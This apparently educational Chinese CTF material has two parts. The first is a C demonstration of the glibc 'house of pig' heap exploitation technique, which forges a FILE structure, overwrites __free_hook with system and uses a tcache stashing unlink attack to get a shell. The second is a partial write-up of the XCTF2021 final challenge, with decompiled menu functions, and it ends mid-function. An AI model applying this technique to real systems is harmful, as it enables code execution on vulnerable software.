                 "__libc_IO_vtables:00000000001E9568                 dq 0\n"
                 "__libc_IO_vtables:00000000001E9570                 dq offset sub_93D50\n"
                 "\033[1;31m__libc_IO_vtables:00000000001E9578                 dq offset _IO_str_overflow\n\033[1;" PURPLE "m"
                 "__libc_IO_vtables:00000000001E9580                 dq offset _IO_str_underflow\n"
                 "__libc_IO_vtables:00000000001E9588                 dq offset _IO_default_uflow\n"
                 "__libc_IO_vtables:00000000001E9590                 dq offset _IO_str_pbackfail\n"
                 "__libc_IO_vtables:00000000001E9598                 dq offset _IO_default_xsputn\n"
                 "__libc_IO_vtables:00000000001E95A0                 dq offset _IO_default_xsgetn\n"
                 "__libc_IO_vtables:00000000001E95A8                 dq offset _IO_str_seekoff\n"
                 "__libc_IO_vtables:00000000001E95B0                 dq offset sub_92600\n"
                 "__libc_IO_vtables:00000000001E95B8                 dq offset sub_924E0\n"
                 "__libc_IO_vtables:00000000001E95C0                 dq offset sub_92870\n"
                 "__libc_IO_vtables:00000000001E95C8                 dq offset _IO_default_doallocate\n"
                 "__libc_IO_vtables:00000000001E95D0                 dq offset sub_937F0\n"
                 "__libc_IO_vtables:00000000001E95D8                 dq offset sub_93800\n"
                 "__libc_IO_vtables:00000000001E95E0                 dq offset sub_937D0\n"
                 "__libc_IO_vtables:00000000001E95E8                 dq offset sub_92870\n"
                 "__libc_IO_vtables:00000000001E95F0                 dq offset sub_937E0\n"
                 "__libc_IO_vtables:00000000001E95F8                 dq offset sub_93810\n"
                 "__libc_IO_vtables:00000000001E9600                 dq offset sub_93820\n\n");

    printf_color(GREEN, UNDEFINED, "其偏移为0x1E9560。将其填充到vtable字段,偏移为0xD8。\n");
    size_t _IO_str_jumps = libc_base + 0x1E9560;
    fake_FILE[0xD8 / 8] = _IO_str_jumps;

    printf_color(GREEN, UNDEFINED, "然后,我们进入_IO_str_overflow函数看看。\n\n");
    printf_color(BLUE, HIGHLIGHT, "(/libio/strops.c, line 80)\n");
    printf_color(PURPLE, HIGHLIGHT,
                 "int\n"
                 "_IO_str_overflow (FILE *fp, int c)\n"
                 "{\n"
                 "  int flush_only = c == EOF;\n"
                 "  size_t pos;\n"
                 "  if (fp->_flags & _IO_NO_WRITES)\n"
                 "      return flush_only ? 0 : EOF;\n"
                 "  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))\n"
                 "    {\n"
                 "      fp->_flags |= _IO_CURRENTLY_PUTTING;\n"
                 "      fp->_IO_write_ptr = fp->_IO_read_ptr;\n"
                 "      fp->_IO_read_ptr = fp->_IO_read_end;\n"
                 "    }\n"
                 "  pos = fp->_IO_write_ptr - fp->_IO_write_base;\n"
                 "  if (pos >= (size_t) (_IO_blen (fp) + flush_only))\n"
                 "    {\n"
                 "      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */\n"
                 "\treturn EOF;\n"
                 "      else\n"
                 "\t{\n"
                 "\033[1;31m\t  char *new_buf;\n"
                 "\t  char *old_buf = fp->_IO_buf_base;\n"
                 "\t  size_t old_blen = _IO_blen (fp);\n"
                 "\t  size_t new_size = 2 * old_blen + 100;\n"
                 "\t  if (new_size < old_blen)\n"
                 "\t    return EOF;\n"
                 "\t  new_buf = malloc (new_size);\n"
                 "\t  if (new_buf == NULL)\n"
                 "\t    {\n"
                 "\t      /*\t  __ferror(fp) = 1; */\n"
                 "\t      return EOF;\n"
                 "\t    }\n"
                 "\t  if (old_buf)\n"
                 "\t    {\n"
                 "\t      memcpy (new_buf, old_buf, old_blen);\n"
                 "\t      free (old_buf);\n"
                 "\t      /* Make sure _IO_setb won't try to delete _IO_buf_base. */\n"
                 "\t      fp->_IO_buf_base = NULL;\n"
                 "\t    }\n\033[1;" PURPLE "m"
                 "\t  memset (new_buf + old_blen, '\\0', new_size - old_blen);\n"
                 "\n"
                 "\t  _IO_setb (fp, new_buf, new_buf + new_size, 1);\n"
                 "\t  fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);\n"
                 "\t  fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);\n"
                 "\t  fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);\n"
                 "\t  fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);\n"
                 "\n"
                 "\t  fp->_IO_write_base = new_buf;\n"
                 "\t  fp->_IO_write_end = fp->_IO_buf_end;\n"
                 "\t}\n"
                 "    }\n"
                 "\n"
                 "  if (!flush_only)\n"
                 "    *fp->_IO_write_ptr++ = (unsigned char) c;\n"
                 "  if (fp->_IO_write_ptr > fp->_IO_read_end)\n"
                 "    fp->_IO_read_end = fp->_IO_write_ptr;\n"
                 "  if (flush_only)\n"
                 "    return 0;\n"
                 "  else\n"
                 "    return c;\n"
                 "}\n\n");

    printf_color(GREEN, UNDEFINED, "注意红色部分的代码,这里会连续调用malloc、memcpy、free函数。\n");
    printf_color(GREEN, UNDEFINED, "house of pig想要在这里大做文章。\n");
    printf_color(GREEN, UNDEFINED, "首先需要通过tcache stashing unlink attack或其他方法向tcache中插入__free_hook附近的地址。\n");
    printf_color(GREEN, UNDEFINED, "然后在运行到此时,首先通过malloc分配出来,然后memcpy将指定位置的内容复制到__free_hook。\n");
    printf_color(GREEN, UNDEFINED, "最后通过free函数执行__free_hook中的内容,这里将__free_hook修改为system函数地址。\n");
    printf_color(GREEN, UNDEFINED, "通过代码我们可以知道,memcpy是将_IO_buf_base(结构体内偏移0x38)地址处的内容复制到__free_hook。\n");
    printf_color(GREEN, UNDEFINED, "而这个复制的原地址是我们可控的,需要我们在伪造的FILE结构体中设置。\n");
    printf_color(GREEN, UNDEFINED, "这里我们设置这个地址的值为第一个chunk的地址+0x20。\n");
    printf_color(GREEN, UNDEFINED, "............\n");

    fake_FILE[0x38 / 8] = chunk_1 + 0x20;

    printf_color(GREEN, UNDEFINED, "设置完成。之后我们需要注意malloc函数申请的chunk大小,其申请的大小需要经过计算。\n");
    printf_color(GREEN, UNDEFINED, "计算方式是:(_IO_buf_end - _IO_buf_base) * 2 + 100。\n");
    printf_color(GREEN, UNDEFINED, "这要求我们正确设置_IO_buf_end的值。如果使用0x100的tcache进行攻击,则end-base=0x46。\n");
    printf_color(GREEN, UNDEFINED, "据此设置_IO_buf_end为第一个chunk的地址+0x20+0x46(结构体内偏移0x40)。\n");
    printf_color(GREEN, UNDEFINED, "............\n");

    fake_FILE[0x40 / 8] = chunk_1 + 0x20 + 0x46;

    printf_color(GREEN, UNDEFINED, "设置完成。最后注意free函数的参数是FILE结构体的起始地址,因此在第二个chunk+0x20处写入\"/bin/sh\\x00\"。\n");
    printf_color(GREEN, UNDEFINED, "另外在第二个chunk+0x30处写入system函数地址,memcpy函数能够将这里的地址复制到__free_hook。\n");

    strcpy((char*)(chunk_1 + 0x20), "/bin/sh");
    *(size_t*)(chunk_1 + 0x20 + 0x10) = (size_t)system;

    printf_color(GREEN, UNDEFINED, "............\n");
    printf_color(GREEN, UNDEFINED, "设置完成。\n\n");

    printf_color(RED, HIGHLIGHT, "第五步:通过tcache stashing unlink attack在tcache写入__free_hook附近地址。\n");
    printf_color(GREEN, UNDEFINED, "当赛题中只使用calloc时,只有在tcache中存放堆地址,才能让malloc分配到__free_hook。\n");
    printf_color(GREEN, UNDEFINED, "下面进行这种攻击的常规流程:\n");
    printf_color(GREEN, UNDEFINED, "首先分配9个chunk并释放,7个到tcache,2个到small bins。然后分配两个tcache chunk出来。\n");

    void* chunks[9];

    for(int i=0; i<7; i++)
        chunks[i] = malloc(0xF0);
    malloc(0x20);   // to avoid consolidate
    chunks[7] = malloc(0xF0);
    malloc(0x20);   // to avoid consolidate
    chunks[8] = malloc(0xF0);
    malloc(0x20);   // to avoid consolidate
    for(int i=0; i<9; i++)
        free(chunks[i]);
    malloc(0xF0);
    malloc(0xF0);
    malloc(0x100);

    printf_color(GREEN, UNDEFINED, "依次释放9个chunk,tcache中的chunk应该为:7->6->5->4->3->2->1。\n");
    printf_color(GREEN, UNDEFINED, "unsorted bin中的chunk应该为:9<->8。\n");
    printf_color(GREEN, UNDEFINED, "然后分配出来两个tcache chunk,再分配一个较大的chunk,让unsorted bin的两个chunk进入small bins。\n");
    printf_color(GREEN, UNDEFINED, "应该修改第9个chunk的bk指针为__free_hook附近地址。\n");
    printf_color(GREEN, UNDEFINED, "............\n");

    *(size_t*)((size_t)(chunks[8]) + 0x8) = __free_hook - 0x20;

    printf_color(GREEN, UNDEFINED, "修改完成,之后分配一个出来进行攻击。\n");
    calloc(1, 0xF0);

    printf_color(GREEN, UNDEFINED, "已经分配出来了一个chunk,现在0x100的tcache中的第一个chunk就是__free_hook附近的地址。\n\n");

    printf_color(RED, HIGHLIGHT, "第六步:调用exit函数触发house of pig漏洞。\n");
    printf_color(GREEN, UNDEFINED, "现在,所有的东西都已经布置好了,只需要一个exit函数,我们就能够执行预期的函数调用链并getshell。\n");
    exit(-1);
}

[XCTF2021final] house of pig

检查信息

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没找到原 libc,这里使用如上 libc

试运行

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逆向分析

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  int id; // [rsp+0h] [rbp-420h]
  int new_id; // [rsp+4h] [rbp-41Ch]
  Info *info; // [rsp+8h] [rbp-418h]
  Info info1; // [rsp+10h] [rbp-410h] BYREF
  Info info2; // [rsp+160h] [rbp-2C0h] BYREF
  Info info3; // [rsp+2B0h] [rbp-170h] BYREF
  unsigned __int64 v13; // [rsp+408h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  init_state();
  welcome();
  init_info1(&info1);
  init_info2(&info2);
  init_info3(&info3);
  id = 1;
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Peppa Pig first~");
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  info = &info1;
  get_info1(&info1);
  while ( 1 )
  {
    menu();
    switch ( get_num() )
    {
      case 1:
        add(info, id);
        break;
      case 2:
        show(info, id);
        break;
      case 3:
        edit(info, id);
        break;
      case 4:
        delete(info, id);
        break;
      case 5:
        new_id = login();
        if ( new_id && new_id != id )
        {
          switch ( id )
          {
            case 1:
              set_info1(info);
              break;
            case 2:
              set_info2(info);
              break;
            case 3:
              set_info3(info);
              break;
          }
          id = new_id;
          switch ( new_id )
          {
            case 1:
              v4 = std::operator<<<std::char_traits<char>>(&std::cout, "This is Peppa Pig~");
              std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
              info = &info1;
              get_info1(&info1);
              break;
            case 2:
              v5 = std::operator<<<std::char_traits<char>>(&std::cout, "This is Mummy Pig~");
              std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
              info = &info2;
              get_info2(&info2);
              break;
            case 3:
              v6 = std::operator<<<std::char_traits<char>>(&std::cout, "This is Daddy Pig~");
              std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
              info = &info3;
              get_info3(&info3);
              break;
          }
        }
        break;
      default:
        puts("Invalid...");
        break;
    }
  }
}

一道 c++pwn 题。三只猪用户,一共五种操作,添加,查看,修改,删除,登录。最开始默认peppa(猪A)先操作,猪A的 id=1Mummy (猪B)的 id=2Daddy (猪C)的 id=3

unsigned __int64 __fastcall add(Info *info, int id)
{
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  switch ( id )
  {
    case 1:
      add_1(info);
      break;
    case 2:
      add_2(info);
      break;
    case 3:
      add_3(info);
      break;
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 __fastcall add_1(Info *info)
{
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  int i; // [rsp+18h] [rbp-18h]
  int j; // [rsp+1Ch] [rbp-14h]
  int size; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  for ( i = 0; i <= 19 && info->ptr[i]; ++i )
    ;
  if ( i == 20 )
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  else
  {
    if ( state->min_size1 <= 0x8F )
      state->min_size1 = 0x90;
    std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
    size = get_num();
    if ( size >= state->min_size1 && size <= 0x430 )
    {
      state->min_size1 = size;
      info->ptr[i] = (char *)calloc(1uLL, size);
      if ( !info->ptr[i] )
      {
        v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
        std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
        exit(-1);
      }
      info->size[i] = size;
      info->flag1[i] = 0;
      info->flag2[i] = 0;
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Peppa's message: ");
      for ( j = 0; j < size / 0x30; ++j )
        read_n(&info->ptr[i][0x30 * j], 0x10LL);
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    }
    else
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  return __readfsqword(0x28u) ^ v9;
}
unsigned __int64 __fastcall add_2(Info *info)
{
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  int i; // [rsp+18h] [rbp-18h]
  int j; // [rsp+1Ch] [rbp-14h]
  int size; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  for ( i = 0; i <= 9 && info->ptr[i]; ++i )
    ;
  if ( i == 10 )
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  else
  {
    if ( state->min_size2 <= 0x8F )
      state->min_size2 = 0x90;
    std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
    size = get_num();
    if ( size >= state->min_size2 && size <= 0x450 )
    {
      state->min_size2 = size;
      info->ptr[i] = (char *)calloc(1uLL, size);
      if ( !info->ptr[i] )
      {
        v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
        std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
        exit(-1);
      }
      info->size[i] = size;
      info->flag1[i] = 0;
      info->flag2[i] = 0;
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Mummy's message: ");
      for ( j = 0; j < size / 0x30; ++j )
        read_n(&info->ptr[i][0x30 * j + 0x10], 0x10LL);
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    }
    else
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  return __readfsqword(0x28u) ^ v9;
}
unsigned __int64 __fastcall add_3(Info *info)
{
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  int i; // [rsp+10h] [rbp-20h]
  int j; // [rsp+14h] [rbp-1Ch]
  int size; // [rsp+18h] [rbp-18h]
  _BYTE *v11; // [rsp+20h] [rbp-10h]
  unsigned __int64 v12; // [rsp+28h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  for ( i = 0; i <= 4 && info->ptr[i]; ++i )
    ;
  if ( i == 5 )
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  else
  {
    if ( state->min_size3 <= 0x8F )
      state->min_size3 = 0x90;
    std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
    size = get_num();
    if ( size > 0x8F && size <= 0x440 )
    {
      state->min_size3 = size;
      info->ptr[i] = (char *)calloc(1uLL, size);
      if ( !info->ptr[i] )
      {
        v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
        std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
        exit(-1);
      }
      info->size[i] = size;
      info->flag1[i] = 0;
      info->flag2[i] = 0;
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Daddy's message: ");
      for ( j = 0; j < size / 0x30; ++j )
        read_n(&info->ptr[i][0x30 * j + 0x20], 0x10LL);
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
      if ( i == 4 )
      {
        v11 = calloc(1uLL, 0xE8uLL);
        v5 = std::operator<<<std::char_traits<char>>(&std::cout, "01dwang's Gift:");
        std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
        read_n(v11, 0xE8LL);
        v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
        std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
      }
    }
    else
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  return __readfsqword(0x28u) ^ v12;
}

添加操作一共有三种,分别对应猪A,猪B,猪C。猪A可以遍历 0~19 的索引,并添加一个大小在 0x90~0x430chunk,猪B 只能遍历 0~9 的索引,并添加大小在 0x90~0x450chunk。对于猪C,则是 0~4 的索引和 0x90~0x440chunk。猪A, 猪B分配的chunk大小只能一次比一次大或者本次与上一次相等,但猪C没有这个限制。另外,在猪C函数中如果添加 chunk 的索引为 4,则还可以再分配一个大小为0xE8chunk并写入最大长度为0xE8的内容。 3只猪在add之后可以立即向新分配的chunk中写入内容,但不是chunk中任何位置都能写,chunk空间以48字节为大小分组。对于猪A,每一组48字节空间只能写前面16字节,对于猪B则是只能写中间16字节,对于猪C只能写后面16字节。在写入后,会设置两个标志位为0。

unsigned __int64 __fastcall show(Info *info, int id)
{
  __int64 v2; // rax
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( state->show_times <= 0 )
  {
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "No view for you...");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  }
  else
  {
    switch ( id )
    {
      case 1:
        show_1(info);
        break;
      case 2:
        show_2(info);
        break;
      case 3:
        show_3(info);
        break;
    }
    --state->show_times;
  }
  return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 __fastcall show_1(Info *a1)
{
  __int64 v1; // rax
  __int64 v2; // rax
  unsigned int index; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
  index = get_num();
  if ( index < 20 )
  {
    if ( a1->ptr[index] && a1->size[index] && !a1->flag1[index] )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1->ptr[index]);
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall show_2(Info *a1)
{
  __int64 v1; // rax
  __int64 v2; // rax
  unsigned int index; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
  index = get_num();
  if ( index < 10 )
  {
    if ( a1->ptr[index] && a1->size[index] && !a1->flag1[index] )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1->ptr[index]);
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall show_3(Info *a1)
{
  __int64 v1; // rax
  __int64 v2; // rax
  unsigned int index; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
  index = get_num();
  if ( index < 5 )
  {
    if ( a1->ptr[index] && a1->size[index] && !a1->flag1[index] )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1->ptr[index]);
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v5;
}

3只猪可以查看的索引范围和可以add的索引范围相同。而且查看时需要有一个标志位为0。这个标志位是add中设置的两个标志位中的第一个。本题限制view的次数最多为2次。

unsigned __int64 __fastcall edit(Info *info, int id)
{
  __int64 v2; // rax
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( state->edit_times <= 0 )
  {
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "No edit for you...");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  }
  else
  {
    switch ( id )
    {
      case 1:
        edit_1(info);
        break;
      case 2:
        edit_2(info);
        break;
      case 3:
        edit_3(info);
        break;
    }
    --state->edit_times;
  }
  return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 __fastcall edit_1(Info *info)
{
  __int64 v1; // rax
  __int64 v2; // rax
  int i; // [rsp+18h] [rbp-18h]
  unsigned int index; // [rsp+1Ch] [rbp-14h]
  int v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
  index = get_num();
  if ( index < 20 )
  {
    if ( info->ptr[index] && info->size[index] && !info->flag1[index] )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Peppa's message: ");
      v6 = info->size[index] / 0x30;
      for ( i = 0; i < v6 && !(unsigned int)read_n(&info->ptr[index][0x30 * i], 0x10LL); ++i )
        ;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v7;
}
unsigned __int64 __fastcall edit_2(Info *info)
{
  __int64 v1; // rax
  __int64 v2; // rax
  int i; // [rsp+18h] [rbp-18h]
  unsigned int index; // [rsp+1Ch] [rbp-14h]
  int v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
  index = get_num();
  if ( index < 10 )
  {
    if ( info->ptr[index] && info->size[index] && !info->flag1[index] )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Mummy's message: ");
      v6 = info->size[index] / 0x30;
      for ( i = 0; i < v6 && !(unsigned int)read_n(&info->ptr[index][0x30 * i + 0x10], 0x10LL); ++i )
        ;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v7;
}
unsigned __int64 __fastcall edit_3(Info *info)
{
  __int64 v1; // rax
  __int64 v2; // rax
  int i; // [rsp+18h] [rbp-18h]
  unsigned int index; // [rsp+1Ch] [rbp-14h]
  int v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
  index = get_num();
  if ( index < 5 )
  {
    if ( info->ptr[index] && info->size[index] && !info->flag1[index] )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Daddy's message: ");
      v6 = info->size[index] / 0x30;
      for ( i = 0; i < v6 && !(unsigned int)read_n(&info->ptr[index][0x30 * i + 0x20], 0x10LL); ++i )
        ;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v7;
}

3只猪可以修改的索引范围和可以add的索引范围相同。而且修改时需要有一个标志位为0。这个标志位和view message的标志位相同。本题限制edit的次数最多为8次。

unsigned __int64 __fastcall delete(Info *info, int a2)
{
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  switch ( a2 )
  {
    case 1:
      delete_1(info);
      break;
    case 2:
      delete_2(info);
      break;
    case 3:
      delete_3(info);
      break;
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 __fastcall delete_1(Info *info)
{
  __int64 v1; // rax
  __int64 v2; // rax
  unsigned int num; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
  num = get_num();
  if ( num < 0x14 )
  {
    if ( info->ptr[num] && !info->flag1[num] && !info->flag2[num] )
    {
      free(info->ptr[num]);
      info->flag1[num] = 1;
      info->flag2[num] = 1;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall delete_2(Info *info)
{
  __int64 v1; // rax
  __int64 v2; // rax
  unsigned int num; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
  num = get_num();
  if ( num < 0xA )
  {
    if ( info->ptr[num] && !info->flag1[num] && !info->flag2[num] )
    {
      free(info->ptr[num]);
      info->flag1[num] = 1;
      info->flag2[num] = 1;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall delete_3(Info *info)
{
  __int64 v1; // rax
  __int64 v2; // rax
  unsigned int num; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
  num = get_num();
  if ( num < 5 )
  {
    if ( info->ptr[num] && !info->flag1[num] && !info->flag2[num] )
    {
      free(info->ptr[num]);
      info->flag1[num] = 1;
      info->flag2[num] = 1;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v5;
}

3只猪可以删除的索引范围和可以add的索引范围相同。删除后会将两个标志位置为1。

__int64 login()
{
  __int64 v0; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  unsigned int v4; // [rsp+Ch] [rbp-114h]
  int v5[24]; // [rsp+10h] [rbp-110h] BYREF
  char s[80]; // [rsp+70h] [rbp-B0h] BYREF
  char v7[88]; // [rsp+C0h] [rbp-60h] BYREF
  unsigned __int64 v8; // [rsp+118h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(
         &std::cout,
         "Please enter the identity password of the corresponding user:");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  memset(s, 0, sizeof(s));
  memset(v7, 0, 0x50uLL);
  read_n(s, 0x40LL);
  v4 = strlen(s);
  if ( !v4 )
  {
    v3 = std::operator<<<std::char_traits<char>>(&std::cout, "What's this?");
    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    exit(-1);
  }
  MD5_initalize(v5);
  MD5_init1(v5, s, v4);
  MD5_init2(v5, (__int64)v7);
  if ( !memcmp(v7, "\xA2'\x90\xD5\xEA\xD5\x37\xA3\xE1\x6D\x4Fc\x17\x7F\xB2X", 0x11uLL)
    || !memcmp(v7, "R\xEC\x3C\x4An\x13\"#\xCA\xF9L\xA2\xFA\x8D\x9B{", 0x11uLL)
